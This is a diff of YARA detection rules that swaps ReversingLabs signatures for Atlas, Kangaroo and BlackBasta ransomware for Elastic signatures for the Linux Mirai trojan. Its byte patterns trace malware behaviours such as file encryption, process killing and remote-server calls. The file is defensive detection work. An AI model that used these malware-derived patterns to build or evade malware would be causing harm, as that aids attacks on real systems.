-            ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C7 48 89 DE 31 C0 48 8D 1D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 44 0F 11 39 48 8D 94 24 ?? ?? ?? ?? 44 0F
-            11 3A 48 8D 15 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ??
-            ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ??
-            ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 89 44 24 ?? 44 0F 11 BC 24 ?? ?? ?? ??
-            48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 1D ?? ??
-            ?? ?? BF ?? ?? ?? ?? 48 89 FE 48 8D 05 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 48 8B 44 24 ?? 90 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 83 F9 ?? 0F 8C ??
-            ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? E8
-        }
+		$a = "nexuszetaisacrackaddict"
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($kill_procs_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Atlas : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_D2205527 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Atlas ransomware."
-		author = "ReversingLabs"
-		id = "2c702b24-4b7e-505c-a694-0d915cc47315"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Atlas.yara#L1-L99"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "1486f931ec096a00d913de0568ddd8aa5a091256445bc28aba90e3e194ebd045"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "d2205527-0545-462b-b3c9-3bf2bdc44c6c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L930-L948"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e4f584d1f75f0d7c98b325adc55025304d55907e8eb77b328c007600180d6f06"
+		logic_hash = "172ba256873cce61047a5198733cacaff4ef343c9cbd76f2fbbf0e1ed8003236"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Atlas"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "01d937fe8823e5f4764dea9dfe2d8d789187dcd6592413ea48e13f41943d67fd"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files = {
-            8B 74 24 ?? 8B 3D ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 51 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 52 56 FF D7 8B 94 24 ?? ?? ?? ?? 8D 44 24 ?? 8D 8C 24 ?? ?? ?? ?? 50 8B 84 24 ??
-            ?? ?? ?? 51 52 50 E8 ?? ?? ?? ?? 8B 54 24 ?? 83 C4 ?? 8D 4C 24 ?? 8D 84 24 ?? ?? ??
-            ?? 6A ?? 51 8B 4C 24 ?? 52 50 51 FF 15 ?? ?? ?? ?? 8D 54 24 ?? 6A ?? 52 55 53 56 FF
-            D7 8B 7C 24 ?? 33 C9 3B FD 89 4C 24 ?? 0F 85 ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 33 F6 8A
-            84 34 ?? ?? ?? ?? 02 C1 F6 E9 88 44 34 ?? 8A 84 34 ?? ?? ?? ?? 02 C1 F6 E9 88 44 34
-            ?? 46 83 FE ?? 7C ?? 8B 74 24 ?? 57 56 8D 44 24 ?? 53 8D 8C 24 ?? ?? ?? ?? 50 51 E8
-            ?? ?? ?? ?? 8B 54 24 ?? 8D 84 24 ?? ?? ?? ?? 52 53 56 8D 8C 24 ?? ?? ?? ?? 50 51 E8
-            ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 83 C4 ?? 8D 54 24 ?? 6A ?? 52 50 53 51 FF 15 ??
-            ?? ?? ?? 8B 44 24 ?? 8D 54 24 ?? 6A ?? 52 55 53 50 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B
-            7C 24 ?? 41 3B FD 89 4C 24 ?? 0F 84 ?? ?? ?? ?? 8B 74 24 ?? 85 FF 74 ?? 8B 54 24 ??
-            8D 4C 24 ?? 6A ?? 51 57 53 52 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 44 24
-            ?? 50 FF D6 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 4C 24 ?? 68 ?? ?? ??
-            ?? 6A ?? 51 FF D6 5F 5E 5D 33 C0 5B 81 C4 ?? ?? ?? ?? C3
-        }
-		$remote_server_1 = {
-            68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 33 C9 8D 94 24 ?? ?? ?? ?? 8A 0C 2E
-            8D 84 24 ?? ?? ?? ?? 51 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 46 81 FE ?? ??
-            ?? ?? 7C ?? 8D 8C 24 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 52 E8 ?? ??
-            ?? ?? 83 C4 ?? 33 F6 33 C0 8D 8C 24 ?? ?? ?? ?? 8A 04 1E 8D 94 24 ?? ?? ?? ?? 50 51
-            68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 46 81 FE ?? ?? ?? ?? 7C ?? 8D 84 24 ?? ??
-            ?? ?? 8D BC 24 ?? ?? ?? ?? 50 83 C9 ?? 33 C0 33 F6 F2 AE F7 D1 49 51 8D 8C 24 ?? ??
-            ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 83 FE ??
-            0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 46 FF 15 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 83 C9 ??
-            33 C0 8D 94 24 ?? ?? ?? ?? F2 AE F7 D1 49 52 8D 84 24 ?? ?? ?? ?? 51 50 68 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? BE ?? ?? ?? ?? 8D 84 24 ?? ??
-            ?? ?? 8A 10 8A 1E 8A CA 3A D3 75 ?? 84 C9 74 ?? 8A 50 ?? 8A 5E ?? 8A CA 3A D3 75 ??
-            83 C0 ?? 83 C6 ?? 84 C9 75 ?? 33 C0 EB
-        }
-		$remote_server_2 = {
-            68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 51 2B D8 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 52 03 D8 E8 ?? ?? ?? ?? 8B CB 8B F0 8B C1 83 C6 ?? 8D BC 24 ?? ?? ?? ?? 83 C4
-            ?? C1 E9 ?? F3 A5 8B C8 68 ?? ?? ?? ?? 83 E1 ?? 68 ?? ?? ?? ?? F3 A4 8D 8C 24 ?? ??
-            ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 94 24 ?? ?? ?? ?? BB
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 2B D8 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ??
-            ?? ?? ?? 03 D8 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B CB 8B F0 8B
-            D1 BF ?? ?? ?? ?? C1 E9 ?? F3 A5 83 C4 ?? 8B CA 83 E1 ?? 8D 84 24 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? F3 A4 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            BB ?? ?? ?? ?? 2B D8 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 03 D8 E8 ??
-            ?? ?? ?? 8B CB 8B F0 8B C1 83 C6 ?? BF ?? ?? ?? ?? 68 ?? ?? ?? ?? C1 E9 ?? F3 A5 8B
-            C8 68 ?? ?? ?? ?? 83 E1 ?? F3 A4 E8 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 83 C9 ?? 33 C0
-            83 C4 ?? F2 AE F7 D1 49 83 F9 ?? 0F 82 ?? ?? ?? ?? 33 F6 8D BC 24 ?? ?? ?? ?? 8D 8C
-            34 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 46 83 C7 ?? 81 FE ?? ??
-            ?? ?? 72 ?? 8B 3D ?? ?? ?? ?? FF D7 8D 94 24 ?? ?? ?? ?? 56 52 8B E8 E8 ?? ?? ?? ??
-            83 C4 ?? FF D7 8B F0 8D 44 24 ?? 50 2B F5 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            4C 24 ?? 8D 94 24 ?? ?? ?? ?? 51 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ??
-            8D 84 24 ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 50 83 C9 ?? 33 C0 F2 AE F7 D1 49 51 8D 8C
-            24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8
-        }
-		$send_post_packet = {
-            68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B F0 83
-            FE ?? 89 75 ?? 75 ?? 50 E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B
-            8B E5 5D C3 6A ?? 66 C7 45 ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 66 89 45 ?? 52 E8 ?? ??
-            ?? ?? 89 45 ?? 8D 45 ?? 6A ?? 50 56 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 E8 ?? ?? ?? ??
-            33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 8D BD ?? ?? ?? ?? 83 C9 ??
-            33 C0 6A ?? F2 AE F7 D1 49 51 8D 8D ?? ?? ?? ?? 51 56 E8 ?? ?? ?? ?? 83 F8 ?? 75 ??
-            56 E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
-        }
-		$send_get_request = {
-            68 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83
-            FB ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 5F 5E 5D 33
-            C0 5B 81 C4 ?? ?? ?? ?? C3 6A ?? 66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 8D 54 24 ?? 66
-            89 44 24 ?? 52 E8 ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 6A ?? 50 53 E8 ?? ?? ?? ?? 83
-            F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 5F 5E 5D 33
-            C0 5B 81 C4 ?? ?? ?? ?? C3 8B FD 83 C9 ?? 33 C0 6A ?? F2 AE F7 D1 49 51 55 53 E8 ??
-            ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ??
-            5F 5E 5D 33 C0 5B 81 C4 ?? ?? ?? ?? C3
-        }
+		$a = { CA B8 37 00 00 00 0F 05 48 3D 01 F0 FF FF 73 01 C3 48 C7 C1 C0 FF }
 
 	condition:
-		uint16(0)==0x5A4D and $encrypt_files and $remote_server_1 and $remote_server_2 and $send_post_packet and $send_get_request
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Kangaroo : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Ab073861 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Kangaroo ransomware."
-		author = "ReversingLabs"
-		id = "ec4342c1-adc9-5ddb-b403-83c2b1ce5899"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Kangaroo.yara#L1-L91"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "1078fb3d47ad737548419e5ee66e686f705c02fea27a58c0097446547325772c"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "ab073861-38df-4a39-ab81-8451b6fab30c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L950-L968"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "175444a9c9ca78565de4b2eabe341f51b55e59dec00090574ee0f1875422cbac"
+		logic_hash = "251b92c4fec9d113025c6869c279247a3dd16ee094c8861fe43a33f87132bf75"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Kangaroo"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "37ab5e3ccc9a91c885bff2b1b612efbde06999e83ff5c5cd330bd3a709a831f5"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            83 EC ?? 53 55 8B 6C 24 ?? 56 57 33 FF 57 57 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 33 DB 55
-            89 5C 24 ?? 89 7C 24 ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 0F 84 ?? ?? ??
-            ?? 8D 44 24 ?? 50 8D 4C 24 ?? 51 8D 54 24 ?? 52 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 57 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ??
-            8B 54 24 ?? 8D 4C 24 ?? 51 57 57 68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85
-            ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 C0 50 8B 44 24 ?? 68 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 54 24 ?? 8B 44 24 ?? 8D 4C 24 ??
-            51 6A ?? 52 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 57 56 FF
-            15 ?? ?? ?? ?? 8B 54 24 ?? 57 8D 4C 24 ?? 51 57 57 6A ?? 57 52 89 44 24 ?? FF 15 ??
-            ?? ?? ?? 8B 44 24 ?? 6A ?? 68 ?? ?? ?? ?? 50 57 8B 3D ?? ?? ?? ?? FF D7 8B 54 24
-        }
-		$encrypt_files_p2 = {
-            6A ?? 8D 4C 24 ?? 51 52 8B D8 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B
-            44 24 ?? 8B 54 24 ?? 50 8D 4C 24 ?? 51 53 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 83
-            F8 ?? 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ??
-            8B 4C 24 ?? 6A ?? 8D 44 24 ?? 50 51 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8D 54 24
-            ?? 52 8D 44 24 ?? 50 8D 4C 24 ?? 51 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D7 68 ?? ?? ?? ?? 55 8B F8 68 ?? ?? ?? ?? 57
-            FF 15 ?? ?? ?? ?? 83 C4 ?? 57 55 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ??
-            ?? ?? ?? 8B C5 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15
-            ?? ?? ?? ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 33 FF 8B 44 24 ?? 50 FF 15
-            ?? ?? ?? ?? 89 7C 24 ?? 8B 4C 24 ?? 57 51 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 5F
-            5E 5D 8B C3 5B 83 C4 ?? C3
-        }
-		$find_files = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 57 56 FF 15 ?? ?? ?? ?? 8B 3D ??
-            ?? ?? ?? 33 C9 83 F8 ?? 0F 94 C1 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 89 4C 24
-            ?? FF D7 83 C4 ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 44 24
-            ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? EB ?? EB ?? 8D A4 24 ?? ?? ?? ?? 90
-            8B 3D ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 8D 54 24 ?? 52 56 68 ?? ?? ?? ?? 8D 84 24 ??
-            ?? ?? ?? 50 EB ?? 8D 4C 24 ?? 51 56 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D7 83
-            C4 ?? F6 44 24 ?? ?? 74 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85
-            C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 51 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D
-            94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 33 FF 33 F6 EB ?? 8D 9B
-            ?? ?? ?? ?? 8B 86 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF D3 85 C0 74 ?? BF ?? ??
-            ?? ?? 83 C6 ?? 83 FE ?? 72 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 FF D3 85 C0 75
-            ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 85 C0 74 ?? BF ?? ?? ?? ?? 8B 44 24
-            ?? A8 ?? 75 ?? A9 ?? ?? ?? ?? 75 ?? 85 FF 75 ?? 3D ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ??
-            8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 8C
-            24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 75 ?? 8B 44 24 ?? 8D 54 24 ?? 52 50 FF 15 ??
-            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 51 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D
-            C3
-        }
-		$enum_resources = {
-            55 8B EC 83 E4 ?? 83 EC ?? 8B 4D ?? 53 56 57 8D 44 24 ?? 50 51 6A ?? 6A ?? 6A ?? C7
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5F 5E
-            5B 8B E5 5D C2 ?? ?? 8B 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8B 4C
-            24 ?? 8B C3 85 C9 74 ?? 8D 64 24 ?? C6 00 ?? 40 83 E9 ?? 75 ?? 8B 54 24 ?? 8D 44 24
-            ?? 50 53 8D 4C 24 ?? 51 52 E8 ?? ?? ?? ?? 85 C0 75 ?? 33 FF 39 7C 24 ?? 76 ?? 8D 73
-            ?? 8D 49 ?? 83 7E ?? ?? 75 ?? 8B 06 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4E ?? 83 E1 ?? 80
-            F9 ?? 75 ?? 8D 56 ?? 52 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B 7C 24 ?? 72 ?? EB ?? 3D ?? ??
-            ?? ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 50 E8 ?? ?? ?? ?? 5F 5E B8 ?? ?? ?? ??
-            5B 8B E5 5D C2
-        }
+		$a = { AC 00 00 00 54 60 00 00 50 E8 4E 0C 00 00 EB 0E 5A 58 59 97 60 8A 54 }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($enum_resources)
+		all of them
 }
-rule REVERSINGLABS_Win64_Ransomware_Blackbasta : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_637F2C04 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects BlackBasta ransomware."
-		author = "ReversingLabs"
-		id = "7a4ad567-0612-5a9c-8a06-4d615bc7e24a"
-		date = "2022-12-13"
-		modified = "2022-12-13"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.BlackBasta.yara#L1-L293"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "79c81a4470e9eabbd714b1a91621c7b2bbe42d5371ba2c799529662d5f5c479a"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "637f2c04-98e4-45aa-b60a-14a96c6cebb7"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L970-L987"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "cff4aa6c613ccc64f64441f7e40f79d3a22b5c12856c32814545bd41d5f112bd"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "BlackBasta"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "7af3d573af8b7f8252590a53adda52ecf53bdaf9a86b52ef50702f048e08ba8c"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files = {
-            48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 44 8B C9 EB ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 44 38
-            75 ?? 74 ?? 48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? EB ?? 44 38 75 ??
-            74 ?? 48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 45 8B CE 4C 8D 44 24 ?? 48 8B CF 48 8D 54
-            24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 85 C0 44 89 74 24 ?? 4C 89 74 24 ??
-            49 0F 45 CE 45 33 C9 33 D2 FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 4D 8B CC 45
-            33 C0 33 D2 48 8B CF E8 ?? ?? ?? ?? 8B D8 44 38 74 24 ?? 74 ?? 48 8B 4C 24 ?? E8 ??
-            ?? ?? ?? 8B C3 E9 ?? ?? ?? ?? 49 8B 74 24 ?? 49 2B 34 24 48 C1 FE ?? 33 D2 4C 89 75
-            ?? 48 8D 4D ?? 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 44 88 75 ?? E8 ?? ??
-            ?? ?? 48 8B 45 ?? B9 ?? ?? ?? ?? 39 48 ?? 75 ?? 44 38 75 ?? 74 ?? 48 8B 45 ?? 83 A0
-            ?? ?? ?? ?? ?? 44 8B C9 EB ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 44 38 75 ?? 74 ?? 48 8B 45
-            ?? 83 A0 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? EB ?? 44 38 75 ?? 74 ?? 48 8B 45 ?? 83 A0
-            ?? ?? ?? ?? ?? 45 8B CE 4C 8D 44 24 ?? 48 8D 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B
-            75 ?? 33 D2 85 C0 49 8B CE 48 0F 45 CA 80 39 ?? 75 ?? 8A 41 ?? 84 C0 75 ?? 38 55 ??
-            74 ?? 49 8B CE E8 ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 38 51 ?? 74 ?? 4D 8B CC 4D 8B C5 48
-            8B D7 E8 ?? ?? ?? ?? 44 8B E8 85 C0 75 ?? 38 45 ?? 74 ?? 49 8B CE E8 ?? ?? ?? ?? 4C
-            8B 6C 24 ?? 48 8D 55 ?? 48 8B CB FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 0F 85 ?? ?? ?? ??
-            49 8B 04 24 49 8B 54 24 ?? 48 2B D0 48 C1 FA ?? 48 3B F2 74 ?? 48 2B D6 48 8D 0C F0
-            4C 8D 0D ?? ?? ?? ?? 45 8D 46 ?? E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 44 38 74
-            24 ?? 74 ?? 48 8B 4C 24
-        }
-		$find_system_volumes_v1_p1 = {
-            48 89 4C 24 ?? 55 53 56 57 41 56 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ??
-            48 8B F1 45 33 FF 44 89 7C 24 ?? 4C 89 39 4C 89 79 ?? 4C 89 79 ?? C7 44 24 ?? ?? ??
-            ?? ?? BA ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 0F 1F 00 4C 8D 8D ??
-            ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 44 89 7C 24 ?? 4C 89 7C 24 ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24
